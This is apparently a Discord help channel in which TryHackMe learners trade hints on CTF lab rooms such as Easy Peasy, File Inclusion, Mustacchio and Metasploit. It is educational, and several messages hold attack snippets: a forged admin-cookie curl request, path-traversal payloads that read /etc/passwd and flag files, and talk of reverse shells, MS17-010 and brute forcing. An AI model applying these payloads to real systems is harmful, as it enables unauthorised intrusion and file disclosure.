(4) apply the received code (pass) to log in to the "admin" page.||
Is that right?

young gulch
chrome helm
young gulch
#

Nah, port 80 is fine.

chrome helm
#

In my attached screenshot, does this directory even exist or not, and do I need to continue searching through the lists further?
I was advised to find it on ||the site on a non-standard port||
#room-hints message

chrome helm
#

now everything has worked out as it should, I was a little confused by the fact that it is worth paying attention to the page with a high port.
And I only scanned the regular page in passing.
Thanks, @young gulch for the help!

green minnowBOT
#

Gave +1 Rep to @young gulch

worldly moss
#

I'm still on valey room. I downloaded the pcap files and tried to retrieve useful information but i couldn't find some! I used the strings command qnd i was able to follow with the ftp pcap file but i wasn't able to retrieve the text files included in it.

tropic garden
tropic garden
chrome helm
green minnowBOT
#

Gave +1 Rep to @tropic garden

molten jasper
#

I have a question regarding: https://tryhackme.com/room/agentsudoctf. Task 2, question 3. I found the answer with the help of the hint. But how could I have found the agent without the hint? I can't find a hint in the Burp Suite either.

tropic garden
tropic garden
molten jasper
#

OK - so its a try an error. Thanks!

tropic garden
molten jasper
#

I am just wondering, how the browser knows, when to open that specific php Site. I cant se anything in the sourcecode nor in burp.

#

something like if agent=xx then open xx.php

tropic garden
#

The user-agent information is part of the header of an HTTP request and it is being read as such by the web application (and not the browser). As you mentioned, there could be code at the web application instructing it to read the user-agent information included in the request and do a specific action or in this case, open the said page containing the message for || Agent C ||.

#

You won't see the entire source code though as you can only see the information the web application sends as part of the response.

molten jasper
#

OK - I see. Thx

white salmon
#

So I'm in the Windows Local Persistence room, at Task 4, trying to acquire flag8. I have a multi/handler setup in msfconsole, and transfered the rev-svc.exe to the target. I than reconfigured the THMservice3 parameters using the provided command, though I am unable to get a connection. I am not sure what I am missing to get this flag. Any help is appreciated and good help/hints get a roboboost thingy

#

@tropic garden if you're available

tropic garden
#

Oh.. I haven't done that room yet unfortunately.

#

If I remember correctly, its that room where you have to finish in one sitting otherwise, you'll have to start all over again.

worldly moss
tropic garden
desert sapphire
tropic garden
tropic garden
rotund hornet
#

Can anyone help me?

hybrid valley
#

Hey Guys, i would like to know if there is any alternative privilege escalation for the room "UltraTech" level medium.
I know that i can escalate my rights with docker and the suid, but im also interested in a second method.
Any idea?

thanks. B

tropic garden
# hybrid valley Hey Guys, i would like to know if there is any alternative privilege escalation ...

Have you looked available write-ups? I did check a few before I saw an unintended path -

https://infosecjake.net/?p=416

chrome helm
#

Has anyone understood the meaning of the question at the machine "Chocolate Factory",
"change user to charlie"
What is the point and why change it?
We get to the machine in a completely different way!

I have gone through all the questions, but I want to understand why it is being asked and where do we change the user and from whom do we change it? Is he just confusing me? Or I didn't fully understand it, please decipher it.

tropic garden
chrome helm
#

Most likely, the question means:
""Find a way to connect to the server as - charlie"🤔

lucid junco
#

Or su charlie.

chrome helm
#

It's unlikely, because we don't know Charlie's real password.
||and the one that we know is only the password to log in to the web page.||
That's why I was confused by this question.

lucid junco
#

You ssh in.

chrome helm
#

no, I used ||id_rsa||

lucid junco
#

Alongside the ssh command, yes?

chrome helm
#

Yeah

lucid junco
#

And did you get in?

chrome helm
#

Yeah

lucid junco
#

Ah, I think this question was just a little side quest in the room.

chrome helm
#

I first tried ||to get to the server via www-data, but no shells worked through the command and|| I just used another way.

#

that's what I mean, this question would be logical if you first got into the system with a technical account, and then you need to raise your rights to a real user. and you change it to Charlie. There is a logic here. as it is, I don't see this logic, that's why I asked this question.

lucid junco
chrome helm
#

okay, let's write it off to the community)

tropic garden
hybrid valley
green minnowBOT
#

Gave +1 Rep to @tropic garden

violet falcon
#

hi all i am Stuck on reboot system where linpeas highlighting and have no clue for privesc

#

are you guys can show me something

violet falcon
#

It's a hidden gem

stuck fractal
#

??

violet falcon
#

it's a sideguest AOC

lucid junco
#

Yeah, I know what you're talking, and there is no hints at this stage.

stuck fractal
violet falcon
#

but it's not hint i just need you guys guide me and tell me or give me something to learn about gaining privesc

lucid junco
#

So you want us to do the work for you? 🤔

violet falcon
#

no

#

may be you can assist me to the room that have a same problem

stuck fractal
pastel talonBOT
#

Done!

chrome helm
# tropic garden Yeah, that's where I'm stuck as well. I did look at a write up a couple of month...

Did you manage to do anything or advance in the attack on this machine [mustacchio].
I can't even check the POC that the "XXE" attack is working.
On the advice, I went through these lab work from "PortSwigger":
Lab: Exploiting XXE using external entities to retrieve files Lab: Exploiting XXE to perform SSRF attacks Lab: Exploiting XInclude to retrieve files Lab: Exploiting XXE via image file upload
But I still didn't understand something, yet the tags (Name-Authoe-Comment) appear in "Responses", not in "Requests".
I want to understand what I'm missing, the machine can't be so complicated that I haven't been able to solve it for more than a month😅
Maybe someone in (DC) will tell me what the main step needs to be taken (the one that I'm missing) in order to move on myself.🙏

tropic garden
chrome helm
#

Yes, I saw it, but it doesn't tell me anything.
This is also due to the fact that ||the script makes it clear that the "XML" code was entered in the field.||
do I need to change:
||"Content-Type:" to "text/javascript"?||
||do I need to fuzzing a website and search for files with the extension (.bak)?||

#

If I often wrote or came across "xml\html" languages and scripts, then the code on the source page would make me understand something, but this is a set of letters for me.

chrome helm
chrome helm
#

I managed to achieve the desired goal, just explain one nuance to me.
||I conducted all the experiments through the Burp Suite, how should I have guessed that the code had to be (necessarily) entered into the browser window itself!!!???||
🤦‍♂️

violet olive
#

to crack wifi password looking at eapol protocol and it has 4 messages how do i crack do i need just 1 key or all

#

through wireshark

tropic garden
delicate hinge
#

Hello please i need help with this CIRCL (Computer Incident Respons Center Luxembourg) published an event associated with PupyRAT infection. Your organisation is on alert for remote access trojans and malware in the wild, and you have been tasked to investigate this event and correlate the details with your SIEM. Use what you have learned from the room to identify the event and complete this task.

Answer the questions below
What event ID has been assigned to the PupyRAT event? I answered : 1146 but the system said that i'm wrong

#

Also for the Snort Group
Clear the previous log and alarm files and deactivate/comment out the old rule.

Create a rule to filter packets with the same source and destination IP and run it against the given pcap file. What is the number of packets that show the same source and destination address? I answered 10 and the system said that i'm wrong please guys help

graceful copper
#

can someone tell me if try hack mes explaination is wrong or just worded poorly. having troublr underrstanding why a user would be able to enter if its case sensitive

trim haven
# graceful copper can someone tell me if try hack mes explaination is wrong or just worded poorly....

Imagine you have a website with an admin page found at example.com/admin
Now, your website made have case insensitive pages meaning you can go to example.com/adMIN or example.com/AdMin and it will load the admin page.

But, in your code, you're checking if the user is going to example.com/admin and if they are, double-check that they are indeed an admin.
In the example, they're using === which is checking the EXACT value. So, /admin and /aDMIN are not the same values.

Which means if they head to /admin it is checking if they are an admin, but /ADMIN the code isn't being exected and henceforth it's not checking that they're an administrator.

unreal lynx
#

Cant find the flag 2 of the ctf room Easy Peasy . However i was able to successfully root the machine and find the other flags . Still cant find it flag 2 . What am i missing... : (

tropic garden
unreal lynx
#

yes i found a hash gave it as user-agent still no luck . think i need to crack it . .but not able to crack it .

tropic garden
unreal lynx
#

tried with hashesdotcom , md5decrypt ...no luck .

tropic garden
unreal lynx
tropic garden
tropic garden
unreal lynx
#

omg found!

unreal lynx
green minnowBOT
#

Gave +1 Rep to @tropic garden

tropic garden
unreal lynx
tropic garden
unreal lynx
#

Hmm..they deliberately wanted us to use online tools.

tropic garden
#

Not sure of the intent, but definitely for users to do their research.

unreal lynx
#

Yh if we were trying locally this would take hours right?

#

since here bruteforce is the only option and the output is in mix of alpha,num, symbols.

rustic sphinx
tropic garden
green minnowBOT
#

Gave +1 Rep to @rustic sphinx

rustic sphinx
#

@tiny tapir you sure|| humans ||didn't work?

tiny tapir
#

some of these basic rooms i dont even read - nothing new for me to learn

chrome helm
#

Happy holidays to all!!!
I'm working on "CTF-Easy Peasy" and I can't figure out how to search for a hidden directory?
I have a hash, but I can't figure out how to crack it (if it's related to this question, of course). Tell me, please, what should I pay attention to?

tropic garden
chrome helm
#

I have ||a hash from the original page of the site, in front of which it says:
"It Works For Me its encoded with ba....:"
I also have a word that I got when I cracked the hash from flag #3.||

tropic garden
chrome helm
#

By the way, I have a question, why do they write "Crack the hash with" in the third question easypeasy.txt What is the flag 3?"
When the flag is found without any hacking of the hash.
I have not yet reached the point where the list of words provided in the task came in handy.

tropic garden
chrome helm
chrome helm
tropic garden
chrome helm
#

@tropic gardenthank you very much, I incorrectly identified the format.
I went through all the available ones and it turned out to be hacked)

hollow elbow
# chrome helm <@454283231542509579>thank you very much, I incorrectly identified the format. I...

Here's a tool the developer recently posted about that you can use to help identify hashes -- https://github.com/HashPals/Search-That-Hash
Personally, i've seen some issues with a the same Base64 hash in CyberChef shows up as invalid, but then I use it somewhere else like appdevtools and it shows up https://appdevtools.com/base64-encoder-decoder.. Maybe a little more tolerant of something? not sure.. just some tools to add to your toolbox.

GitHub

🔎Searches Hash APIs to crack your hash quickly🔎 If hash is not found, automatically pipes into HashCat⚡ - GitHub - HashPals/Search-That-Hash: 🔎Searches Hash APIs to crack your hash quickly🔎 If hash...

magic hawk
#

All, I'm looking to connect with some folks on the "Crack The Hash" room. I am currently complete on Level-1 hashes 1 & 5. I'd like some suggestions/advice. I'm currently using the THM AttackBox and I'm thinking that I'm not being offered enough muscle for cracking. I'm looking to move over to my own instance of Kali with more RAM/CPU. Anyways, I would appreciate being able to bounce some ideas of someone who's more experienced at the "Crack The Hash" room. TIA!

tropic garden
magic hawk
green minnowBOT
#

Gave +1 Rep to @tropic garden

ebon jewel
#

@trim haven or might @ripe hedge if awake

shadow oxide
#

I'm working on the nmap free module with task 11

#

it's asking "What optional argument can the ftp-anon.nse script take?"

#

I'm not seeing anything that would give the answer or a hint to the answer

#

and I've used the help command which did nothing for the answers

green sedge
#

The task says that there is a website for more information about each script, go to the link provided in the task and then go to "NSE scripts" and look down the list till you find the page for the correct script.

shadow oxide
#

Thanks

#

I found it

shadow oxide
#

same module

#

and the site that's given with the scripts help command is dead

green sedge
shadow oxide
#

Ok... I didn't understand that correctly

shadow oxide
#

as I looked at it by ls

#

I wish I can show a ss

green sedge
#

Where are you trying to cd? You can read the file from wherever give you type out the full path. If you want to be within the path of the nse files then you can cd /usr/share/nmap/scripts. You can't cd into the smb-os-discovery.nse itself because it is a file not a directory. You can send screenshots if you verify.

kind prawnBOT
shadow oxide
#

so then would I do grep "dependencies" by itself or specifiy the smb file?

green sedge
#

You would specify the filename, if you are in the directory of the file you can cat smb-os-discovery.nse | grep "dependencies", if you are not in the directory then you would have to specify the full path like I did in my screenshot before. The cat command is what reads the file and the grep command is what sorts out only the keyword you are looking for.

shadow oxide
#

Also, I'm performing an Xmas ping and I'm only getting 1 port respond when using the given IP

#

nevermind

shadow oxide
green minnowBOT
#

Gave +1 Rep to @green sedge (current: #50 - 132)

chrome helm
#

Hi! I'm a little stupid in the room - "Lian_Yu", you need to get to SSH, there is a password, but I can't find a name!😅
I've gone through all the aliases of the character, but maybe I'm looking in the wrong direction.
Is it necessary to brutforced the name or is there a direct hint or a file for this?

tropic garden
chrome helm
#

Yes, I enumerated everything.
But I don't recall any mention of a specific name there.
I even put all the possible names from the site and from the wiki and the intended ones in my list of words.
Through hydra, he very quickly realizes that this is not the case.

dire root
#

I used cewl to make a wordlist from the enumerated pages I found and it worked. After I completed the room, I noticed that I didn't need the wordlist because what you need should be on the FTP server.

tropic garden
chrome helm
#

I found the name anyway and it's not on the website 🙂
hydra helped out when I put all the names found in a completely different place in it.)😎

white salmon
#

Ok so not really specific to a room but I've notice it can be difficult to edit files when I've got a shell. Does anyone know of a good way to overwrite or edit files in a shell?

ebon jewel
#

use vim or vi

white salmon
#

doesn't work tho

#

bugs out

ebon jewel
#

when you got rev shell back, do you stabilize that shell? if is not

kind prawnBOT
fathom dome
unreal lynx
#

Cant get the flag 2 of ctf room Archangel . Any hints to find the source code?

chrome helm
#

Hi, I'm solving the "Year of the Rabbit" room
||. I heard a hint in the video itself.
But I don't understand what I should find through Burp and on which page?||
Maybe where else is the secret clue hidden?
I've been sitting over a "simple" box all day)))

unreal lynx
chrome helm
#

And he's always the same

#

I didn't see anything interesting in the requests.

unreal lynx
unreal lynx
chrome helm
#

Damn, I didn't check the stylesheet carefully.🤦‍♂️
I just skimmed through it)
yes, there was an interesting thing there.
I'll work on it.
Thank you.
||But there was no hint in the video that you need to look for something in the developer tools)||

unreal lynx
unreal lynx
lucid junco
unreal lynx
unreal lynx
lucid junco
unreal lynx
lucid junco
#

/..//..//..//..//..//etc/passwd ?

unreal lynx
#

oh wait.

lucid junco
unreal lynx
lucid junco
#

No. 🙂

unreal lynx
lucid junco
#

The directory where you can LFI.

unreal lynx
lucid junco
#

These could help.

unreal lynx
green minnowBOT
#

Gave +1 Rep to @lucid junco (current: #2 - 1835)

buoyant gyro
#

Hi everyone! Awesome to be here 🙂
I am currently doing the "File Inclusion" room and try to solve the final challenges. (Task 8, Question 2). I didnt find a thread regarding this topics. So I will just start directly with my question:
As I said, the job is to insert a local file inclusion. When I first access the page, it wants me to refresh (text displayed on the webpage). So I refresh and get the message "Welcome Guest!
Only admins can access this page!"
So I checked the cookies, found the THM cookie and send a curl request as following:
curl -H "Cookie: THM=admin" http://10.10.6.28/challenges/chall2.php

Result:
The webpage is returned, containing the text
"This is a admin web page! Get the flag!"

So far so good. But now I am stuck, because I dont find an input form anywhere and dont now how to insert my LFI.

Thats my big problem: how can i request the flag (which is in /etc/flag2)
I tried to append "?file=../../../etc/flag2" but it didnt work

#

Also deviations like "?file=xarewa" dont even give me an error or anything

#

Can anyone give me a hint regarding this please?

I add the webpage content to make sure the circumstances are clear:

<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Lab #Challenge-2</title>

<!-- Bootstrap core CSS -->
<link href="./css/bootstrap.min.css" rel="stylesheet">

<!-- Custom Stylesheet -->
<link href="./css/style.css" rel="stylesheet">

<!-- Core libraries bootstrap & jquery -->
<script src="./js/bootstrap5.min.js"></script>
<script src="./js/jquery-3.6.0.min.js"></script>

<!-- Custom JS code -->
<script src="./js/script.js"></script>

</head>

<header>

<div class="container">
<ul class="nav">
<li class="nav-item">
<a class="nav-link" href="./index.php">Home</a>
</li>
<li class="nav-item">
<a class="nav-link">/</a>
</li>
<li class="nav-item">
<a class="nav-link active" >Lab #Challenge-2</a>
</li>
</ul>
</div>
</header>
<body>
<div class="container" style="padding-top: 5%;">
<h1 class="display-4">File Inclusion Lab</h1>
<p class="lead">Lab #Challenge-2: Include a file in the input form below
<hr class="my-4">

    <div class='mt-5 mb-5'>
      <h5>Current Path</h5>
      <div class='file-Location'><code>/var/www/html</code></div>
    </div>
    <div>
      <h5>File Content Preview of <b>admin</b></h5>
      <code><div class="alert alert-success" role="alert">Welcome admin<br></div>This is a admin web page! Get the flag!

</code>
</div> </body>
</html>

ivory meadow
fathom dome
buoyant gyro
#

Thank you so much! Found the solution 🙂

grizzled badger
#

Hello goodnight

Could anyone help me with these questions

Walking An Application
Task 3 Viewing The Page Source

What is the flag from the HTML comment?
What is the flag from the secret link?
What is the directory listing flag?
What is the framework flag?

tropic garden
lucid junco
tropic garden
#

Is that so? Didn't notice. 😅

bright barn
brazen raven
#

Alright, quick question. For the File Inclusion series... the RFI "playground" challenge, I created a file... and hosted via python3 -m http.server. I then directed the URL of the target server back to my own box and the desired file. It is not working. Do you have to host with apache or something for that lab?

#

I'm getting an error code 405 response from the server, which I think.. means the method is not supported?

timber jolt
#

405 means you sent a request that is not allowed. POST, GET, whatever. I'm 1 step away from trying that same challenge and not looking forward to it at all. This Task 8 challenge part has been rough

tropic garden
#

I completed this room a while back so I'll have to check my notes when I get the chance and get back to you. However, that set of numbers should point you somewhere. Have you tried to check it in || CyberChef ||?

green minnowBOT
#

Gave +1 Rep to @tropic garden (current: #19 - 362)

brazen raven
#

Ok... not sure if I'm over thinking this, but I figure I'll ask.

Doing: "See if you can get the server to error out with a "500 Internal Server Error" code by changing the number at the end of the request to extreme inputs." as part of the Burp repeater challenge. I've tried changing the number to a full page of 9's. Still getting 404. IE, it doesn't exist.

tropic garden
#

Hey, were you able to root the box? Just got the chance to look into my notes and all I got out of the code was a || hash || that doesn't seem to be useful at all.

Update: ||I used crackstation on the hash and it was indeed a rabbit hole. Just keep on enumerating though. ||

tropic garden
rapid island
#

Hi everyone! im new to penetration testing. I am trying to learn and understand NahamStore. Can anyone help me with a summary or report of Nahamstore?

tropic garden
rapid island
tropic garden
hybrid wigeon
#

In the room "Intro PoC Scripting", Task 3, Question "In the check function, what is it doing to the cookies?"
https://tryhackme.com/room/intropocscripting
The hint: "Remember, the full Set-Cookie header contains more than the 'actual' cookie"
The example code:
session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
So, I'm guessing something like split, splits, parse, parses, divide, extract, lookup, or reuse (of the authenticated session), but nothing fits the 6 stars. Anyone?

hybrid wigeon
#

@cd Do you remember, perchance, the answer to the question mentioned above?

bright barn
hybrid wigeon
#

@bright barn Yes, the "<some data>" .split('foo')[1] .split('bar')[0] is commonly used to extract some data between 'foo' and 'bar'. I understand what it does, but I can't figure out how the room creator wants to summarize this action.

Some of the hints seem to indicate that answers were not chosen well, e.g. Task 4, "What is the purpose of "<&1" in the payload function?" with the answer "redirects socket output stream to bash input stream". (Good luck answering that one, but the hint gives the exact wording, thankfully.)

#

I got it. It was "format". Thanks @bright barn

green minnowBOT
#

Gave +1 Rep to @bright barn (current: #991 - 3)

unreal lynx
#

Doing Tech_Supp0rt: 1 , How can i login to subrion? using a panel. . where?

unreal lynx
#

i think i did too much enumeration 😆 , i didn't get what panel are they talking about .

tropic garden
tropic garden
#

I tried to enumerate it muliple times, but none worked so it means I am lacking on my enumeration. I usually go back after I've solved a few boxes to get a "fresh" perspective into it, but still can't manage to solve it.

lucid junco
unreal lynx
lucid junco
unreal lynx
lucid junco
lucid junco
#

Remember either use http:10.10.xxx.xxx/subrion in your search, or http://10.10.xxx.xxx/subrion/FUZZ

unreal lynx
#

omg omg omggggg.....got the lead!!! Ty @lucid junco

green minnowBOT
#

Gave +1 Rep to @lucid junco (current: #2 - 1914)

lucid junco
unreal lynx
young monolith
# hybrid wigeon In the room "Intro PoC Scripting", Task 3, Question "In the check function, wha...

Try running that bit of code in an online Ruby REPL to see what it does with a dummy value. Basically it gets the Set-Cookie header value, splits the value using sid= as the deliminator, gets the second value from the Array, splits it again using bar as the deliminator and returns the first element of the Array. Kind of a weird way to extract a param from the session cookie. A better way would be to use a regex to extract the value: str.match(/foo=([^;]+)/)[1]
https://try.ruby-lang.org/playground/#code="sid%3Dfoo%3B+bar%3Dbaz".split("sid%3D")[1].split("%3B")[0]&engine=cruby-3.2.0

tropic garden
hybrid wigeon
#

@young monolith This is common in languages where regex is not a first class citizen, like in Javascript or Perl. I assume that Ruby is also in the regex camp of languages, but perhaps the author of the Ruby code, from Metasploit, was not native in Ruby at the time.

What I did wrong was to not pick up on the language used by the author of the room, the wording, i.e. how he described the double-split operation as "formatting".

young monolith
hard urchin
green minnowBOT
#

Gave +1 Rep to @young monolith (current: #311 - 14)

hybrid wigeon
tropic garden
tropic garden
unreal lynx
tropic garden
green minnowBOT
#

Gave +1 Rep to @unreal lynx (current: #1984 - 1)

tropic garden
unreal lynx
bright barn
#

Hey need a bit of help in Upload Vulnerabilities last challenge (jewel.uploadvulns.thm)in which I have to bypass the client side filter but I am unable to do so , when I try to change the ||/assets/js/upload.js|| file according to task 7 It changes but when I reload the page it changes bask to its initial form.

misty abyss
#

I'm currently doing the Metasploit rooms... And at Exploitation I am stuck at running the MS17-010 against the Linux SMB Server that's my target... What am I missing here? 😕

tropic garden
misty abyss
#

Well, all the exploits tell me that the target is not a valid target.... As it's now Windows!?

#

LHOST is set to the IP of the Attackbox shown in the top bar...

#

"Exploit unavailable for target OS"

tropic garden
#

A screenshot of the show options would be helpful.

misty abyss
#

maybe I am messed up with VMs again? Like, that's maybe not my actual target that's showing? Had that before....

#

So I just terminated all of them except for my attackbox and will try again

#

Now it's a windows machine and no longer linux 😂

tropic garden
#

This exploit is quite unstable so it might take you multiple tries before you can get it to run successfully.

tropic garden
misty abyss
#

Yes, that's why I got confused when seeing a Samba serve running on the target

#

yep, now it looks like my exploit blew up the target 😄

zenith sphinx
#

I am not sure if this is the right chat to ask this but in the Rick and Morty room do I need any information from the show (for example a password that is related to something from the show)? Or is it just the theme

tropic garden
zenith sphinx
#

Ok this makes the most sense 😂

ivory meadow
#

WhyHackMe Room, ||I found all the php files including register, i found reflected XSS but that isn't useful at all. I also found the message that the admin left. Can i have a little nudge on this?||

halcyon spoke
#

good afternoon everyone... I'm looking for a bit of guidance with the Regex room. I've been banging my head against the wall for some time now on the last two questions in Task 4 to no avail

#

I've also plugged my regexes into RegExr and they seem to fit the required guidelines, but they aren't what the room is looking for apparently

steep verge
#

Hello guys, for Recent Threats: Spring4Shell, I have successfully obtained a reverse shell, but I want to know how the attack looks like in the logs? Checking /var/log I don't see any logs there, any idea where the logs might be?

pine dust
lusty flare
#

can someone help me with a room? I am new and just getting started. I am having trouble with finding the street address for the answer. I have tried it different ways for the last hour and im not sure what im missing

tropic garden
fallow kettle
#

Has anyone here done the Skynet room?
If so, could you share what parameters you use for your port scan?

I've tried 10+ different ways and I'm still not getting correct results.

bright barn
#

namp -sC(script scan) -sV (service scan) would work in most cases try adding -p- for scanning all 65535 ports if using -p- use -T<1-5> timing template to increase scan speed

worthy ruin
#

As you can see in my What is Shell room the image/screenshot broken. only showing rectangle. What is the problem? I faced this type of problem some other rooms also

tropic garden
worthy ruin
#

Nope I am using cellular data right now. Tried with broadband internet. Same problem. I have checked from my mobile. Also same problem

tropic garden
#

Checked it right now and it loads on my case. Is your cellular data, broadband internet and mobile provider one and the same? Or check if imgur.com is blocked in your country?

dull ember
#

What do you need to access a web application?

lucid junco
dull ember
#

web browser

#

help me to complete the task i am just beginner

#

program or web browser

#

i completed only browser

ripe hedge
#

read the task

hard urchin
light pendant
tropic garden
light pendant
#

have tried to crack it, ran the whole rockyou and all 7-character printable ascii combinations, no luck

#

I haven't tried to su with the hash though

tropic garden
#

I'll have to check my notes for it.

willow canyon
#

I can’t find an answer to this anywhere so perhaps one of you legends may know. I’m on File Inclusion, task 8, challenge 3. I can get the flag using curl but not if I use burp or inspector in dev tools. No matter what I try the nullbyte will not get rid of .php. I’m wondering if there is something that encodes the nullbyte and stops it from working. Any help would be greatly appreciated as even though I have the flag I want to understand what I’m doing wrong. On both burp and inspector I’m changing request to POST.

chrome helm
#

I'm in the same condition, I've already drunk the 3rd cup of coffee, I can't guess where the username for the connection is hidden)😅
I don't want to peek into an explicit step-by-step walkthrough.
Just a slight hint.
room-gamingserver

heady solstice
#

Does OhSINT really require you to make an account on wigle.net? I don't want to lmao

gleaming jewel
tropic garden
chrome helm
# tropic garden Were you able to root the box?

Hi, no, I'm still searching for a username to connect via SSH.😅
Judging by the hint from SoL_lucky, I need to go through the entire web server again. It's probably hidden there somewhere.

chrome helm
green minnowBOT
#

Gave +1 Rep to @gleaming jewel (current: #1326 - 2)

chrome helm
karmic panther
#

Hello guys, I am on "Inite" box I am connecting as www-data but I don't found the Privesc vector despite a LinEnum and manually enumeration. Can you give me some tips or hint ? Thank you !

lucid junco
karmic panther
#

Ignite... Sorry for that

lucid junco
#

Where are you stuck exactly?

#

ah Priv esc

karmic panther
#

Yes Priv esc

lucid junco
#

how have you got www-data ?

karmic panther
#

By exploit on msf and a reverse shell once connected with msf just to have a better shell

lucid junco
#

And have you found any passwords in any databases?

karmic panther
#

mysql running but no access

lucid junco
#

Maybe that has a database...

karmic panther
#

Hmm

#

let me check

#

Thank you @lucid junco I will continu on this way !

green minnowBOT
#

Gave +1 Rep to @lucid junco (current: #2 - 2011)

lucid junco
karmic panther
#

Thanks

karmic panther
#

I have no access

#

@lucid junco

lucid junco
karmic panther
#

you mean in /va/www ?

#

/var/www*

lucid junco
#

||fuel/install/$Keepsearchingaroundhere||

karmic panther
#

Nop I have already try but I don't have the permission

#

No permission with "admin" and no permission with a new user with all the permission

bright barn
#

Hey need some hint in agent sudo room, there is a file named as ||cutie.png|| how can I extract the data that this file contain I've tried exiftool -b but it shows the data in an unreadable format.

karmic panther
#

I don't really remember but I think you have another tool to extract data

tropic garden
bright barn
#

thanks @tropic garden

green minnowBOT
#

Gave +1 Rep to @tropic garden (current: #15 - 440)

chrome helm
tropic garden
chrome helm
tropic garden
lucid junco
#

Feroxbuster goes so fast, the problem could be ferox.

chrome helm
chrome helm
tropic garden
bright barn
#

thanks

azure osprey
#

No prob binwalk man should pull up help from the command line.

late topaz
#

Heya all, I'm struggling with a question in one of the practice rooms. "When was the SSL certificate the phishing domain used to host the phishing kit archive first logged? (format: YYYY-MM-DD)".

I've looked on virus total and even some walkthroughs but the walkthroughs have an older version of the question....the question in the older version was asking when the domain was first registered and not the SSL cert.

#

What tool would I use to find the first issued SSL cert for a domain?

cursive nymph
#

Hey guys how do I access splunk from the benign terminal

#

I’ve been struggling

lucid junco
#

visit the web address.

cursive nymph
#

Do I need the free trial or something because it just didn’t boot up for me

lucid junco
#

Did you start the machine in the task?

cursive nymph
#

Yes

lucid junco
#

Are you using a VM or attackbox?

cursive nymph
#

VM

#

Should I be using the attack box?

lucid junco
#

Are you on the VPN?

cursive nymph
#

No, I’ve been trying to get the VPN to work but it hasn’t been connecting for me

lucid junco
#

You need to get the VPN to connect before you can reach machines on THM.

#

Which country are you in, and which OS ?

cursive nymph
#

Windows 11, US-East

lucid junco
#

Are you using the Communites download for OpenVPN?

cursive nymph
#

What do you mean by that?

lucid junco
cursive nymph
#

Yes I have been, I’ve been using the 64-bit one

#

Should I bump down to 32?

lucid junco
#

Try a different server?

cursive nymph
#

The server on THM I try to use is US-East-Regular-1, what do you suggest?

lucid junco
#

Try A different US one

cursive nymph
#

The problem is whenever I try to connect to OpenVPN, I download the config file and then I connect to it, it says connected successfully, and then nothing changes on the access details

alpine kestrel
cursive nymph
#

Yeah it says I am

alpine kestrel
#

then it is working as intended

cursive nymph
#

Wow it actually is now, thank you!

chrome helm
green minnowBOT
#

Gave +1 Rep to @tropic garden (current: #15 - 447)

long swallow
#

For the introtok8s room, there's a bonus task: Bonus Task: For those curious enough, you can use an alternate method to get this flag. It will require some Kubernetes investigation on your part, but the first breadcrumb lies in the nginx-deployment.yaml!

When I try to look in the directory mentioned in the file. It's not there... so I'm kinda lost. Tips please ❤️

white salmon
charred tartan
lucid junco
charred tartan
#

😦

lucid junco
#

This could be part of an educational or busniess plan.

late topaz
#

I did find the answer in a walkthrough, no idea how they got the answer either

#

I tried taking the answer, and correlating that data against VT and other sites but the date simply wasn't present in any of the CTI tools I was using

white salmon
green minnowBOT
#

Gave +1 Rep to @late topaz (current: #1332 - 2)

jolly sequoia
#

so, currently fumbling with CI/CD and Build Security room.
On task 5.5 you were told to use 'grep' to find out the secret key.
which I did, using the following line:
unzip -p /root/Mobile\ App_039714fd-18ad-458e-acad-8f4af9f596b2.zip | grep -r "secret" .

now I stumbled across this:
||9gyTxb+FA4RtQgZ8n+nbzdC3t4o8BMl9kWEevXVCeydvyC+4nUOT3PjKnQ1rm+408kI7YocLXCq0w7RYz06eGufQPH52A72YK5kGnwvHU7+JkezdK3eYYNru761hHP0H||

which is definately a 'secret' so to speak, but seems lore like a rabbit hole to me.
so, what exactly I'm looking for here? Something to log back to MO-TH-ER 6000 or some generic hash-code?

ripe hedge
ripe hedge
#

I think blacking it out, at least for flags is not sufficient

#

especially not in this channel

worldly girder
fluid narwhal
#

Hello,

I am doing the File Inclusion room, and am stuck at the first task at the last challenge, i.e. the "Capture Flag1 at /etc/flag1"

I have been trying to change the request type to POST, used various numbers of "../"s in the file field, ../../etc/flag1 both with burp suite and with the developer tools thing in the browser, but it seems I am missing something?

upbeat copper
#

can I get a hint for vulnnet-int box? Whenever connecting to the NFS it doesnt load.

tropic garden
upbeat copper
#

I got it tho I had to use attackbox

late topaz
#

Anyone who's completed this room (services) have any hints at privesc? The user account has incredibly limited premissions, I cant even print out systeminfo - I believe I saw it was a windows 2008 box - I was able to AES Rep roast to get initial access...its a DC, but port 53 isnt open to use bloodhound against. I'm guessing there is another way besides compiling sharphound and getting it on the box
https://tryhackme.com/room/services

dim snow
#

Hello all,
I need help for the question 1 in walking an application.

What is the flag from the HTML comment?

I've gone through comments but unable to find what is the answer lol. I can't sleep without cracking it I guess.

I was able to access that page https://10-10-45-128.p.thmlabs.com finally, did ctrl + U for the page source. In the comments there is a green comment
<!--
This page is temporary while we work on the new homepage @ /new-home-beta
-->
This is the other comment at the end

<!--
Page Generated in 0.03953 Seconds using the THM Framework v1.2 ( https://static-labs.tryhackme.cloud/sites/thm-web-framework )
-->
What should I find from these. I tried my way of possibilities to find answer but couldn't.

tropic garden
dim snow
tropic garden
dim snow
#

I'm confused

tropic garden
dim snow
#

@tropic garden Tons of thanks! Finally I'm able to..

green minnowBOT
#

Gave +1 Rep to @tropic garden (current: #15 - 455)

dim snow
#

Got 3 questions correct but stuck with what is directory listing flag question From walking an application task. Need help please.

dim snow
#

With the bruteforce, it is easier to find the directory listing like using Nmap but here I do not know how to get it

tropic garden
dim snow
#

I cracked the answer just now.

#

As a beginner, no one knows all the directory list file names and the site source didn't gave that much info to crack that directory file name. All I know is that there is a link with the main URL and that flag.txt. In between the directory file name is missing which I got it and able to crack.

#

Anyways, it's interesting. Loving it 🙂

dim snow
#

Hey all
I'm in this task Manual Discovery - Sitemap.xml

As per the question
What is the path of the secret area that can be found in the sitemap.xml file?

I accessed the link in attack machine http://10.10.45.191/sitemap.xml using firefox, then I found the secret in local path where it takes me to Acme IT Support website http://10.10.45.xxx/s3cr3t-area when I access this secret path link, I got "You found the sitemap endpoint".

I entered the secret path http://10.10.45.xxx/s3cr3t-area but still its not working
Anything else I need to work on?

snow birch
#

hi

brave basalt
dim snow
#

Okay, sure.

sly basin
#

hi all, am doing this room
https://tryhackme.com/room/pokemon
Stuck on the first task. I saw the script, but apart from thinking its a normal script displaying its content of arrays. am not able to do much about it.
a hint would be really helpful. Thank You.

sly basin
